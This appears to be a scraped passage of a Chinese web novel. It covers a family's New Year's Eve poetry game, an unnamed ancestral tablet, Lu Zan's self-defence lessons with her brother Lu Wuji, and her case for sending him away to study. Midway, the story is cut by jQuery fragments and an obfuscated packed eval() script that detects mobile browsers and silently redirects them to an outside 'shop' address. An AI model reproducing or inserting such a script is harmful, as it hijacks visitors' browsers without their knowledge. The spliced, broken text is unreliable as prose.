$(''.inform'').remove(); $(''#content'').append('' 风斟酒,护持道,“平安二字,重逾千金。” 陆风听罢,感激一笑。 一轮酒喝完,吃食也下了肚,不过三更天,大家都有些困意。 江雪见状,提议道:“不如我们玩行酒令可好?” 陆风如临大敌,忙摆手道:“这可是我最不擅长的!你们玩罢!” 江雪笑道:“无妨无妨,只是图个热闹,输了又没人罚你。” 于是陆风便应下了。 行令择了“飞花令”,以雪为题接七言。 江雪执盏沉吟,片刻后方才启唇:“玉屑纷扬素尘轻,疑是春风入旧庭。” 陆簪自幼读书识字,对诗书颇有精益,江雪一开口,她便知此句意境清雅,倒是不俗。 反观陆风,眉间深锁,良久方道:“冻云垂野雪纷纷,寒梅欲放香盈盈。” 此句对仗虽工,却少了些灵气,略显平淡,但于陆风这样的习武之人来说,倒是难得了。 轮到陆无羁时,他负手望向窗外纷扬的雪絮,眸光幽远,静默片刻,方缓声吟道:“孤篷转徙琼瑶界,犹带故园旧雪声。” 陆簪的纤指原本正轻叩案几,闻言停顿下来,抬眸望他。 故园风雪声犹在耳畔,人却已辗转天涯,这句诗,颇有浮萍之叹、羁旅之思。 江雪亦品出诗中深意。 十五载江湖夜雨,这孩子自幼随他们漂泊,本是无根浮萍,何来故园可忆?许是辗转流离久了,暗自渴望着能安定下来,不必再听夜雨打篷声。 思及此,她胸中泛起细密的疼惜。 可对此,她无可奈何。 只好收敛思绪,对陆簪一笑:“簪儿,到你了。” 陆簪并未多加思考,几乎脱口而出:“千山缟素埋冤骨,寒梅泣血带恨生。” 最后一个字音落下时,满室死寂。 直到灯花爆开的细微噼啪声,拉回了众人的思绪。 陆簪诗中字字句句间裹挟着对未竟之仇的恨意,饶是不通文墨的陆风,也听得心头一震。 陆无羁眉心微蹙,凝眸望向陆簪,却见她唇角笑意未减,眸中并无半分异色:“不过一时卖弄,信口胡诌,让爹娘和哥哥见笑了。” 江雪指尖不着痕迹地收紧,随即展颜抚掌,笑声打破了凝滞:“好个簪儿!竟有谢道韫咏絮之才,平日倒是深藏不露,罚你多饮一杯!” 陆簪从容起身,端起斟满的酒盏:“女儿认罚。” 说罢仰首一饮而下。 饮罢执袖掩唇,动作如行云流水,年纪虽小,却比那些世家闺秀更添三分飒爽。 恰在此时,窗外传来第一声鸡鸣,曙色悄然浸染窗纸。 江雪顺势起身,说道:“天都快亮了,我与你们父亲需得准备香案供品,以备清晨祭祀,你们兄妹二人去卧房歇息片刻罢。” 陆簪和陆无羁便一同出门去了。 屋外庭院细雪纷扬,有些寒凉。 陆簪立在门前,伸手接住几片飘落的雪花,那雪在她掌心停留一瞬,便化为乌有,她生生等它们化了,才转首望向身侧的少年:“这雪竟是下了一整夜,都说瑞雪兆丰年,想来今岁定是个好年景。” 她玉白的脸颊被寒气侵出淡淡绯色,青丝间那对木芙蓉缠花轻轻摇曳,陆无羁凝睇着她:“是啊,惟愿天下太平,五谷丰登。” 他的语气一如往日般冷淡,可陆簪喜欢这话,便望向他莞尔一笑。 他素来爱穿白衣,年节也不例外,一袭素白长袍,眉目清俊似水墨点染,自有一段超然物外的气韵。 她想起什么,忽而问道:“《礼记》有言‘男子二十,冠而字’,哥哥还未到取表字的年纪,可我却想到二字与哥哥甚配,不知哥哥可愿听听?” 陆无羁不知她为何会突然问起这个,只依言答道:“愿闻其详。” 只见她轻移莲步,在廊下来回踱了三遭,忽而驻足转身,眸中闪着狡黠的光:“‘执中’二字如何?” 这二字源自《尚书》“允执厥中”,意为诚实地保持中正之道,不偏不倚。 陆无羁在唇间默念三遍,虽觉好听,却更觉困惑:“好是好,只是不知为何是这二字?” 陆簪故作深沉地摇头:“因为哥哥虽名‘无羁’,身上却没有疏狂肆意,落拓不羁的快意与放纵,反倒有些老气横秋。” 陆无羁怔然,一时语塞。 陆簪瞧他云里雾里,不由得扑哧一笑:“我说笑了,哥哥莫怪。” 说罢也不等他回应,便颔首告辞,逃也似的没入门内。 陆无羁站在原地,半晌后,转而将目光投向那株覆雪的石榴枯枝,唇角不自觉勾起,仿佛在那嶙峋的枝干间,已窥见了来年五月,灼灼欲燃的红花。 5. 日常 祭祖仪式在一个时辰后进行。 正堂内香烟缭绕。 陆簪踏入时,见陆风、江雪与陆无羁均换了新衣,正肃穆地行三跪九叩大礼。 陆簪定睛一看,案台上供奉的是一方乌木牌位,那木色幽沉如水,成色不俗,然上面空空荡荡,竟未镌一字。 她心头猛地一跳,像是骤然踏空了一步。 香烛俱备,仪轨周全,这俨然是一场极其郑重的家祭。 可她不明白,既是祭祀,为何不书姓氏名讳?这无名无姓的牌位,祭的又是何人? 陆簪心头虽惊涛暗涌,面上却如静水无波。 礼毕,江雪转身看到站在一旁的陆簪,见她未曾跪拜,也未曾出声问及牌位之事,便知她是个极有主见、心思通透的孩子。 她上前抚了抚陆簪的肩,问道:“簪儿,你要不要朝着家乡的方向,给先祖叩个头?” 陆簪心头骤然一紧,袖中指尖深深掐入掌心。 她早已立誓,血海深仇未报,绝不面见祖宗。 她垂眸低笑:“娘忘了,簪儿伤了脑袋,什么都记不清了,也不知道祖先是谁,家在何处。” 江雪闻言,心头被刺了一下,她急忙牵起唇角:“瞧我这记性,既然记不得了,不提也罢不提也罢!” 又看向陆风和陆无羁:“你爹爹和哥哥练剑的时辰到了,你可愿与娘一同观看?” 陆簪好奇:“今儿是大年初一,也要练习么?” “剑术武功,如同诗文经书,一日都不可废。”陆风正色道。 于是一家人来到院中。 但见陆风剑光如匹练,在皑皑雪地上划出银弧,惊起檐角数只寒雀,陆无羁随手挽了个剑花,雪地上顿时划过一道银芒。 陆簪心头有了别的思量,沉吟片刻,鼓起勇气上前问道:“爹爹,可否教女儿剑术?” 陆风收势回身,剑穗尚在轻颤,他将陆簪从头到脚细细打量,眉峰微蹙:“你为何想学这个?” “我想保护自己。”她眸光坚定。 陆风望向江雪,见她微微颔首,这才默然片刻:“随我来。” 院中积雪未消,陆风命她平举双臂,以竹尺轻点肩胛、肘腕各关节,尺风过处,衣袂轻扬,他又让她试着下腰抬腿,不过几个动作,她却做得歪扭七八。 “不必练了。”陆风收尺轻笑,“簪儿,你骨骼刚硬,非习武之材。莫说练剑,便是学舞也难。” 陆簪顿觉颊畔飞红,垂首不语。 江雪上前揽住她肩头:“不学便不学,女子立世,原不必非靠拳脚功夫。” “可女子本就体弱,若再无防身之技,岂非任人宰割?”陆簪眸中清辉灼灼,显然是想到了逃亡路上的种种,再开口,声音更是坚决,“不习武也可,还请爹爹传授些防身之术。” 陆风沉吟:“这个简单,你若执意要学,让无羁教你便是。” 陆簪看向陆无羁,四目相对时,她盈盈一拜:“哥哥可愿教我?” 陆无羁只道:“习武很苦。” “我不怕。”陆簪道。 陆无羁思忖片刻,又道:“你既是我的妹妹,日后定有我护你周全,何须苦了自己?” 话说到一半,陆簪便勾起唇来,那笑意未达眼底,声音更是疏离冷静:“可哥哥总不会永远都在簪儿身侧,若有一日分开,山高水远,我终究要靠自己。” 陆无羁神色骤凝,薄唇紧抿,不发一言。 “总之。”陆簪福了福身子,颇有些霸王硬上弓的固执,“今日簪儿拜定师父了,往后每日午后,还请哥哥拨出一个时辰指点指点我。” 江雪见状,便道:“好了,无羁你就答应她吧。” 陆无羁沉默,无声点了点头。 陆簪顿时染上雀跃之色,只差没跳起来。 这日午饭后。 院中老石榴树下。 陆无羁虚扶着陆簪的腰肢,提醒:“气沉丹田。” 陆簪依言调整站姿,却因筋骨僵硬微微发颤。 见她额角沁出细汗,他欲言又止,一次又一次修正她的动作。 习练擒拿手时,她屡屡被假想敌挣脱,每每失衡踉跄,她总是抢先示意不让他伸手相扶。 一个时辰下来,她的双腿已经战栗不已,连走路都是困难。 陆无羁忍不住问:“你何苦至此?” 陆簪稳住身形,抹去鼻尖汗珠,眼中燃着不灭的星火:“哥哥可知,断翅的雀鸟若要飞渡关山,总要付出血的代价。” 陆无羁闻言,指尖在袖中微微收拢。 他忽然想起父亲赠他的那柄古剑,剑身隐在鞘中温润如玉,出鞘时却寒光凛冽,宁折不弯。 正如陆簪,她不要搀扶,不要怜悯,她定然经历过断翅之痛,如今想要的,不过是把断骨重新接续。 “明日同一时辰,我教你反擒拿。”他终于开口,声音比往常更低沉几分,“但有个条件——”他目光落在她微微发抖的腿上,“现在让我背你回房。” 陆无羁不等陆簪有所表示,便已俯身,一手穿过她的膝弯,一手稳托住她的背脊,将她打横抱起。 陆簪只觉天地陡然翻转,下意识地轻呼一声,手臂已不由自主地环上他的脖颈。 他的怀抱坚实而温暖,隔着衣衫也能感受到蕴含力量,她生平未曾与男子这般贴近,一时心如擂鼓,却又奇异地感到安定,便没有推拒。 陆无羁步履稳健,径直将陆簪抱回房中,轻轻置于榻上。 陆簪坐稳,坦然道谢:“多谢哥哥。” “不必。”陆无羁转身欲走。 “哥哥是要去念书练字了么?”她知晓每日午后皆是他雷打不动温书练字的时辰。 陆无羁不置可否。 陆簪抬眼望他:“我闲来无事,也想找本书看,哥哥可否容我同你一起?” 他早知她并非目不识丁之人,除夕守岁那夜她言谈间的见识更印证此点,便未多想,只道:“好。” 书桌尚未添置,陆无羁平素便在正厅的饭桌上读书习字。 他将陆簪抱至厅中坐好,自去屋内取了笔墨纸砚与一方沉甸甸的书箱来。 厅内静谧,唯闻窗外偶尔几声雀鸣,二人对坐,各自埋首书卷。 陆无羁铺开宣纸,研墨润笔,开始默写《资治通鉴》的篇章,陆簪则在书箱中略略翻拣,指尖划过数册书籍,最终却取出一卷《商君书》。 陆无羁抬眸瞥见,眉头微扬:“你怎么选了这本?” 此书论法刻深,并非寻常闺阁女子会感兴趣的。 自然是因,那书箱中的书她全都精读过,唯有这本早些时候翻阅过几回,尚未细读。 她只淡淡道:“随手拿的而已。” 陆无羁自然知晓她并非随意,见她不愿多言,却也不拆穿,复又低头专注于笔下。 《商君书》文字虽然不多,但内容庞杂,可谓洋洋大观。 陆簪一口气读完半卷,抬眼才发觉陆无羁已经写好数张宣纸,她搁下书卷,活动了下身子,轻轻取过一张来看——陆无羁写得一手工整的楷书,骨力道健,结构严谨,可见是认真练习过的,只是捺脚稍显迟滞,不够舒展。 她心念微动,执起一旁毛笔,在其中一字上轻轻圈点,说道:“哥哥此处若能以腕力送出,笔势更为贯通,会更见行云流水之态。” 说着,她在纸旁空白处另书一字作为示例,其字清劲洒脱,锋芒内敛,竟是极有功底。 陆无羁凝目看去,不禁怔住。 他的书法由江雪启蒙,然天资颖悟,笔力早臻新境,超越江雪。雏凤清于老凤声,原是为人师者最大的快慰,江雪不止一次夸奖他书道卓越,未料眼前少女不过信手一书,竟远在他之上。 恰在此时,江雪与陆风回家来,见二人正在用功,便含笑走近。 江雪问道:“簪儿也在习字读书吗,都看了些什么?” 陆簪起身唤了声“娘”,方答:“闲来无事,看些杂书打发辰光罢了,倒是哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808353|190756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,十分勤勉。” 陆无羁却仍盯着陆簪方才写的那字,拧眉道:“簪儿过谦了,你的学问见识,远在我之上。” 江雪讶异,凑近去看。 神情倏然一变,眼中尽是惊艳:“妙啊!簪儿,你不仅通晓诗书,这笔字更是风骨独具!” 陆簪的字,是母亲手把手教的,自然写得极好,她并未谦虚,只道:“许久未动笔,早已生疏了。” 江雪又追问:“你的诗书是同谁学的?” 陆簪眼帘微垂,神色微变。 她的母亲出身清河士族,年轻时是京州有名的才女之一,犹精书法。兄长更是惊才绝艳,十二岁以一篇《山河赋》名冠京州,十八岁便已入翰林侍诏,为士林所重。 她自小便由母亲启蒙,九岁起更蒙京州大儒林承徽青眼,破例收为弟子。那位林先生学贯古今,连皇子都曾欲拜入门下,却因与她投缘,倾囊相授。 可惜,不过三年,家中生逢变故,她自此隐姓埋名,亡命天涯,再也回不去那小小的书堂。 她抬眸望向江雪,声音平静:“我也记不真切了,许是我娘教的吧。” 江雪见她神色,心下了然,便不再多问,只笑着又夸赞了几句。 一旁沉默的陆风此刻却开口,对江雪道:“你平日总自诩学问不差,日日督促无羁读书,如今怎倒被个小丫头比了下去?” “我……”江雪一时语塞,面现赧色。 陆簪心中闪过思量,犹豫片刻,对江雪与陆风郑重道:“提起哥哥的学业,簪儿倒是有些想法,想说与爹娘听一听。” 江雪和陆风都向她望来。 陆簪笑道:“年关已过,哥哥已满十五,在我大晏,男子十五岁建功立业者有之,成家立室者亦不鲜见,正所谓自古英雄出少年,哥哥天资颖悟,文武兼修,实非池中之物。” 她语锋微转,望向江雪的目光温婉而恳切:“自然,娘的学问是极好的,教导哥哥亦是尽心竭力,然学海无涯,哥哥上限极高,恐非家中教学所能企及。” 说着,她纤指轻点案上墨迹:“就拿书法来讲:我观哥哥笔力,楷书虽工,却未能尽展其性,或更适合研习更为洒落奔放的行书。依女儿浅见,当为哥哥延请明师,或送入书院深造,方能不负其才。” 江雪闻言,沉吟不语。 她本是寒门出身,后来机缘巧合方得读书明理,虽有些天分,亦算勤勉,积攒了些学问,但终究有限。 她知道陆簪所言,确有道理,只是此前有诸多顾虑…… “那我明日便去为无羁访寻一位名师来家授课可好?”江雪思虑再三,开口问道。 陆簪却轻轻摇头,既已开口,便索性将话说明:“娘,请容女儿再将话说的透彻些。” 她看向窗外:“兰溪虽好,终究偏安一隅,纵有卧虎藏龙,格局气象终不及通都大邑,此为其一。其二,哥哥自幼随爹娘行走江湖,少有安定之时,而做学问最需沉潜专注,持之以恒,尤其是天赋相若之人,最拼专心与刻苦,您若想让哥哥有所成就,恐需择一安稳之地长居。” 讲到此处,陆簪停顿片刻,方才看向陆无羁:“其三,也正因居无定所,哥哥长久相伴的唯有爹娘,缺少同龄友人与他切磋学问,交流心性。爹娘为哥哥取名‘无羁’,本是愿他心性舒卷自如,不为俗尘所缚,可长久不与人深交,性情渐趋孤僻,又如何能真正体会天地广阔,自在遨游之乐?” 她最后深深一拜:“爹娘,请恕女儿直言,江湖本是自由之地,可于哥哥而言,反倒是世间最大的牢笼。” 陆簪这一番话,条分缕析,情理兼备,说得江雪与陆风相顾默然,一时厅内静极。 陆无羁定定望着陆簪,眸中闪烁着复杂难言的情绪。 他从未听过有人能将他的处境,他的潜在束缚,与内心那点未曾言明的渴望,剖析得如此清晰透彻。 他心中震动,久久难平,仿佛一直笼罩在眼前的薄雾被一只手轻轻拨开,现出前方更为开阔的天地。